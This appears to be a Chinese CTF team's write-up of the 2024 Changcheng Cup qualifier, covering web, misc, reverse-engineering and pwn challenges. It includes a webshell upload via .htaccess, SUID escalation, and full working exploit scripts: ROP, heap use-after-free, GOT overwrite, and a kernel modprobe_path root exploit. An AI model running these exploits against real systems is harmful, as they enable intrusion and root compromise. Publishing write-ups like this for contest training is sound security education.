2024年第四届“长城杯”网络安全大赛(初赛)Writeup

admin 2024年9月24日12:03:44评论15 views字数 9755阅读32分31秒阅读模式

本次长城杯”网络安全大赛(初赛),我们星盟安全团队以社会组第二名的优异成绩,成功晋级总决赛。

2024年第四届“长城杯”网络安全大赛(初赛)Writeup

Web

CandyShop

发现原型链污染的函数

2024年第四届“长城杯”网络安全大赛(初赛)Writeup
if not username or identity != 'admin':

发现为原型链污染

我们发现这⾥⾯有个secret.txt 肯定去读 但对sold有个限制 我们就想通过原型链污染去污染sold

2024年第四届“长城杯”网络安全大赛(初赛)Writeup

发现需要admin伪造 然后我们爆破密钥 看⻅密钥只有七位

2024年第四届“长城杯”网络安全大赛(初赛)Writeup

爆破出来了 进⾏伪造

2024年第四届“长城杯”网络安全大赛(初赛)Writeup

伪造成功

2024年第四届“长城杯”网络安全大赛(初赛)Writeup

读到secret.txt 得到flag的位置

2024年第四届“长城杯”网络安全大赛(初赛)Writeup

发现字⺟被过滤了 我们进⾏⼋进制绕过

2024年第四届“长城杯”网络安全大赛(初赛)Writeup
2024年第四届“长城杯”网络安全大赛(初赛)Writeup

最后 找到flag位置就出了

2024年第四届“长城杯”网络安全大赛(初赛)Writeup
2024年第四届“长城杯”网络安全大赛(初赛)Writeup

成功得到flag

2024年第四届“长城杯”网络安全大赛(初赛)Writeup

SQLUP

直接admin/a登录发现⼀个⽂件上传要求名字不能带p发现可以上传.htaccess

2024年第四届“长城杯”网络安全大赛(初赛)Writeup

再上传一个后缀为gif的一句话木马

2024年第四届“长城杯”网络安全大赛(初赛)Writeup

发现flag没有权限 直接suid提权发现tac命令具有权限

2024年第四届“长城杯”网络安全大赛(初赛)Writeup

Misc

BrickGame

右键查看源代码 发现参数包

2024年第四届“长城杯”网络安全大赛(初赛)Writeup

漏洞探踪,流量解密

根据⽇志⽂件 发现有上传⽂件的情况 试了⼏个ip 发现192.168.30.234 是第⼆阶段压缩包的解密

2024年第四届“长城杯”网络安全大赛(初赛)Writeup

然后流量分析输⼊过滤条件 ip.dst==192.168.1.5发现key和raw(密⽂)

2024年第四届“长城杯”网络安全大赛(初赛)Writeup
2024年第四届“长城杯”网络安全大赛(初赛)Writeup

直接去cyberchef进⾏rc4解密 密⽂删除掉前⾯相同的

2024年第四届“长城杯”网络安全大赛(初赛)Writeup

最安全的加密⽅式

2024年第四届“长城杯”网络安全大赛(初赛)Writeup

分析流量包 发现rar 导出

2024年第四届“长城杯”网络安全大赛(初赛)Writeup

同时发现webshell的密码就是rar的密码 

解压后发现 全是md5

2024年第四届“长城杯”网络安全大赛(初赛)Writeup

猜测是爆破,写个脚本

from hashlib import md5from string import printableflag = {}for c in printable:    h = md5(c.encode()).hexdigest()    flag[h] = craw = [    '8fa14cdd754f91cc6554c9e71929cce7', '2db95e8e1a9267b7a1188556b2013b33',    '0cc175b9c0f1b6a831c399e269772661', 'b2f5ff47436671b6e533d8dc3614845d',    'f95b70fdc3088560732a5ac135644506', 'b9ece18c950afbfa6b0fdbfa4ff731d3',    '2510c39011c5be704182423e3a695e91', 'e1671797c52e15f763380b45e841ec32',    'b14a7b8059d9c055954c92674ce60032', '6f8f57715090da2632453988d9a1501b',    'cfcd208495d565ef66e7dff9f98764da', '03c7c0ace395d80182db07ae2c30f034',    'e358efa489f58062f10dd7316b65649e', 'b14a7b8059d9c055954c92674ce60032',    'c81e728d9d4c2f636f067f89cc14862c', 'e1671797c52e15f763380b45e841ec32',    '4a8a08f09d37b73795649038408b5f33', '4c614360da93c0a041b22e537de151eb',    '4b43b0aee35624cd95b910189b3dc231', 'e1671797c52e15f763380b45e841ec32',    'b14a7b8059d9c055954c92674ce60032', 'e1671797c52e15f763380b45e841ec32',    '8d9c307cb7f3c4a32822a51922d1ceaa', '4a8a08f09d37b73795649038408b5f33',    '4b43b0aee35624cd95b910189b3dc231', '57cec4137b614c87cb4e24a3d003a3e0',    '83878c91171338902e0fe0fb97a8c47a', 'e358efa489f58062f10dd7316b65649e',    '865c0c0b4ab0e063e5caa3387c1a8741', 'd95679752134a2d9eb61dbd7b91c4bcc',    '7b8b965ad4bca0e41ab51de7b31363a1', '9033e0e305f247c0c3c80d0c7848c8b3',    '9033e0e305f247c0c3c80d0c7848c8b3', '9033e0e305f247c0c3c80d0c7848c8b3',    'cbb184dd8e05c9709e5dcaedaa0495cf']for c in raw:    print(flag[c], end='')

爆破就是flag

Re

easyre

打开IDA就能看见明显的异或逻辑

int __fastcall main(int argc, const char **argv, const char **envp){  const __m128i *v3; // rcx  unsigned __int64 v4; // r8  __int64 i; // r10  __int64 v6; // rax
  if ( argc <= 1 )    exit(0);  v3 = argv[1];  v4 = 1i64;  for ( i = 0i64; i != 43; ++i )  {    v3->m128i_i8[i] ^= v3->m128i_u8[i + 1 + -42 * (v4 / 0x2A)];    ++v4;  }  if ( _mm_movemask_epi8(         _mm_and_si128(           _mm_cmpeq_epi8(_mm_loadu_si128(v3), xmmword_140021410),           _mm_cmpeq_epi8(_mm_loadu_si128(v3 + 1), xmmword_140021400))) == 0xFFFF )  {    v6 = sub_1400011A0(&qword_1400312E0, "flag is your input", v4, 0xC30C30C30C30C30Dui64);    sub_1400015A0(v6);  }  return 0;}
2024年第四届“长城杯”网络安全大赛(初赛)Writeup

提取一下密文就可以了

exp:

enc = [0x0A, 0x0D, 0x06, 0x1C, 0x1D, 0x05, 0x05, 0x5F, 0x0D, 0x03,    0x04, 0x0A, 0x14, 0x49, 0x05, 0x57, 0x00, 0x1B, 0x19, 0x02,    0x01, 0x54, 0x4E, 0x4C, 0x56, 0x00, 0x51, 0x4B, 0x4F, 0x57,    0x05, 0x54, 0x55, 0x03, 0x53, 0x57, 0x01, 0x03, 0x07, 0x04,    0x4A, 0x77, 0x0D]    str = enc.copy()    flag = ""    for i in range(41,-1,-1):      str[i] ^= str[(i+1)%42]    for i in range(len(str)):      flag+=chr(str[i])    print(flag)

Pwn

FlowerShop

绕过这一段可以覆盖money为任意值

 if ( strcmp(dest, c) )  {    puts(&byte_4012D8);    exit(0);  }

而c的值为'pwn',那么将payload对应位置的值改成pwn即可

然后再check函数处会造成栈溢出,只要买了两个a选项再买一个magic就有溢出和system和binsh

DWORD *__fastcall check(unsigned int *a1, _DWORD *a2){  _DWORD *result; // rax
  result = (_DWORD *)*a1;  if ( (_DWORD)result == 2 )  {    result = (_DWORD *)a1[1];    if ( (_DWORD)result == 1 )    {      result = a2;      *a2 = 70;    }  }  return result;}

最后构造rop链即可

完整exp:

from pwn import *from Crypto.Cipher import AES
context(arch='amd64', os='linux', log_level='debug')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
li = lambda x : print('x1b[01;38;5;214m' + str(x) + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + str(x) + 'x1b[0m')
def dbg():    gdb.attach(r)    pause()
r = remote('8.147.134.24', 19778)
r.send(b'a'*(0x34)+b'pwn'+p32(0x404040))r.sendlineafter('请输入你的选项:n', 'a')r.sendlineafter('请输入购买的商品序号:n', 'c')r.sendlineafter('你想要继续买花吗? 1/0', '1')r.sendlineafter('请输入购买的商品序号:n', 'a')r.sendlineafter('你想要继续买花吗? 1/0', '1')r.sendlineafter('请输入购买的商品序号:n', 'a')r.sendlineafter('你想要继续买花吗? 1/0', '1')r.sendlineafter('请输入购买的商品序号:n', 'b')r.sendlineafter('你想要继续买花吗? 1/0', b'a'*0x18 + p64(0x400f13) + p64(0x601840) + p64(0x4006f6) + p64(0x400730) + p64(0x4007d0))
r.interactive()

Kylin_Heap

普通的堆题,有uaf并且chunk申请大小范围为0~0x500,可以直接泄露libc打freehook

libc是kylin的直接替换就好

脚本如下

from pwn import *
context(arch='amd64', os='linux', log_level='debug')file_name = './Heap'#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')libc=ELF('./libc-2.31-0kylin9.2k0.2.so')li = lambda x : print('x1b[01;38;5;214m' + str(x) + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + str(x) + 'x1b[0m')#context.terminal = ['tmux','splitw','-h']debug = 1if debug:    r = remote('8.147.131.74', 45293)else:    r = process(file_name)elf = ELF(file_name)def dbg():    gdb.attach(r)    pause()  def dbgg():    raw_input()#dbgg()menu = 'adventurer? 'def add(size,content):    r.sendlineafter(menu,'1')    r.sendlineafter('bytes): ', str(size))    r.sendlineafter('bytes):n', content)def edit(index, content):    r.sendlineafter(menu,'3')    r.sendlineafter(':', str(index))    r.sendafter(' bytes):n', content)def delete(index):    r.sendlineafter(menu,'2')    r.sendlineafter(': ', str(index))def show(index):    r.sendlineafter(menu,'4')    r.sendlineafter(': ', str(index))add(0x410,'a')add(0x60,'a')#1delete(0)show(0)libc_base=u64(r.recvuntil('x7f')[-6:].ljust(8,b'x00'))-96-0x10-libc.sym['__malloc_hook']system=libc_base+libc.sym['system']free_hook = libc_base+libc.sym['__free_hook']add(0x60,'a')#2add(0x60,'a')#3print(hex(libc_base))delete(1)delete(2)edit(2,p64(free_hook))add(0x60,'/bin/shx00')add(0x60,p64(system))delete(4)#dbg()
r.interactive()

consumption

在add的sscanf的地方有溢出,可以直接修改 add 的第三个参数指针

2024年第四届“长城杯”网络安全大赛(初赛)Writeup
2024年第四届“长城杯”网络安全大赛(初赛)Writeup

那么就可以将指针覆盖成heaplist,然后往list上面写got表,随后覆盖掉free的的got为system

最后free掉一个写入了binsh的堆块即可getshell

完整exp

from pwn import *import jsoncontext(arch='i386', os='linux', log_level='debug')
file_name = './pwn'#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')libc=ELF('./libc.so.6')li = lambda x : print('x1b[01;38;5;214m' + str(x) + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + str(x) + 'x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1if debug:    r = remote('8.147.128.54', 42803)else:    r = process(file_name)
elf = ELF(file_name)
def dbg():    gdb.attach(r)    pause()  def dbgg():    raw_input()
#dbgg()
menu = '5.exittn'

def generate_json(choice, idx, size=1, content='a'):    data = {        "choice":str(choice),    }    data["idx"] = idx    data["size"] = str(size)    data["content"] = content
    return json.dumps(data, separators=(',', ':'))
def add(index, sizes,contents):    json1 = generate_json(1, idx=index, size=sizes, content=contents)#.decode('utf-8')    #print(json1)    r.sendlineafter(menu,json1)
def edit(index,sizes, contents):    json4 = generate_json(4, idx=index, size=sizes, content=contents)    r.sendlineafter(menu,json4)
def delete(index):    json2 = generate_json(2, idx=index)    r.sendlineafter(menu,json2)def show(index):    json3 = generate_json(3, idx=index)    r.sendlineafter(menu,json3)#1choice = 1idx = 0size = 0xB0data = b'a'*0x4C9payload0 = '{"choice":"%s","idx":%d,"size":"%s","content":"%s"}' % (choice,idx,size,data)payload0 = payload0.encode() + p32(0) + p32(0x8051B24)r.sendlineafter(menu,payload0)#2choice = 1idx = 0size = 0x1adata =b'a'*0x4CApayload1 = '{"choice":"%s","idx":%d,"size":"%s","content":"%s"}' % (choice,idx,size,data)payload1 = payload1.encode() + p32(0) + p32(0x8051B25)r.sendlineafter(menu,payload1)#3choice = 1idx = 0size = 0x05data = b'a'*0x4CBpayload2 = '{"choice":"%s","idx":%d,"size":"%s","content":"%s"}' % (choice,idx,size,data)payload2 = payload2.encode() + p32(0) + p32(0x8051B26)r.sendlineafter(menu,payload2)#4choice = 1idx = 0size = 0x08data = b'a'*0x4CBpayload3 = '{"choice":"%s","idx":%d,"size":"%s","content":"%s"}' % (choice,idx,size,data)payload3 = payload3.encode() + p32(0) + p32(0x8051B27)r.sendlineafter(menu,payload3)
add(0,0x68,'/bin/sh')delete(4)add(0,0x68,'/bin/sh')show(5)r.recvuntil('content:')libc_base = u32(r.recv(4))-libc.sym['free']print(hex(libc_base))system = libc_base+libc.sym['system']choice = 4size = 0idx = 5payload4 = '{"choice":"%s","idx":%d,"size":"%s","content":"' % (choice,idx,size)payload4 = payload4.encode() + p32(system) +b'"}'r.sendlineafter(menu,payload4)delete(4)#dbg()r.interactive()

Kylin_Driver

内核任意地址读写

构造rop修改modprobe_path

exp:

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <sys/ioctl.h>#include <sys/wait.h>
#define GET 0xDEADBEEF#define ROP 0xFEEDFACE
void exp_modprobe_path_flag(){    int exp_fd;    char *child_args[] = {"/tmp/err", NULL};    char buf[0x100] = {0};
    exp_fd = open("/tmp/x", O_WRONLY | O_CREAT | O_NOCTTY | O_NONBLOCK, 0755);    write(exp_fd, "#!/bin/shn"                  "chmod 644 /flagn",          26);    close(exp_fd);
    exp_fd = open("/tmp/err", O_WRONLY | O_CREAT | O_NOCTTY | O_NONBLOCK, 0755);    write(exp_fd, "����", 4);    close(exp_fd);
    execve(child_args[0], child_args, child_args + 1);
    exp_fd = open("/flag", O_RDONLY);    if (exp_fd == -1)    {        perror("open");        exit(EXIT_FAILURE);    }    read(exp_fd, buf, sizeof(buf));    puts(buf);}
int main(){    unsigned char buf[0x1000] = {0};    size_t *ptr = buf + 0x20;    size_t kernel_base_addr = 0;    int i;    size_t result;    char path[8] = "/tmp/x";    int pid;    int fd;
    pid = fork();    if (pid == 0) {        fd = open("/dev/test", O_RDWR);        if(fd == -1)        {            perror("open");            exit(EXIT_FAILURE);        }
        strcpy(buf, "gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc");        for (i = 0; i < 0x20; i++)        {            buf[i] ^= 0xf9;        }
        ioctl(fd, GET, buf);        for (i = 0x20; i < 0x200+0x20; i++)        {            buf[i] ^= 0xf9;        }        // print_hex(buf + 0x20, 0x200);        kernel_base_addr = *(size_t*)(buf + 0x20 + 0xa8) - 0x32a555;        printf("kernel_base_addr: %lxn", kernel_base_addr);
        // 0x000000000007f8d2: mov qword ptr [r10], rdx; ret;         // 0x0000000000b36652: pop r10; pop r12; pop rbp; ret;         // 0x00000000001b7cf0: pop rdx; ret;         *ptr++ = kernel_base_addr + 0x0000000000b36652;        *ptr++ = kernel_base_addr + 0x1864fc0; // modprobe_path        *ptr++ = 0;        *ptr++ = 0;        *ptr++ = kernel_base_addr + 0x00000000001b7cf0;        *ptr++ = *(size_t*)path;        *ptr++ = kernel_base_addr + 0x000000000007f8d2;
        for (i = 0x20; i < 0x200+0x20; i++)        {            buf[i] ^= 0xf9;        }
        ioctl(fd, ROP, buf);        exit(EXIT_SUCCESS);    }    else    {        waitpid(pid, NULL, 0);    }    exp_modprobe_path_flag();    return 0;}

原文始发于微信公众号(星盟安全):2024年第四届“长城杯”网络安全大赛(初赛)Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月24日12:03:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024年第四届“长城杯”网络安全大赛(初赛)Writeuphttp://cn-sec.com/archives/3199980.html

发表评论

匿名网友 填写信息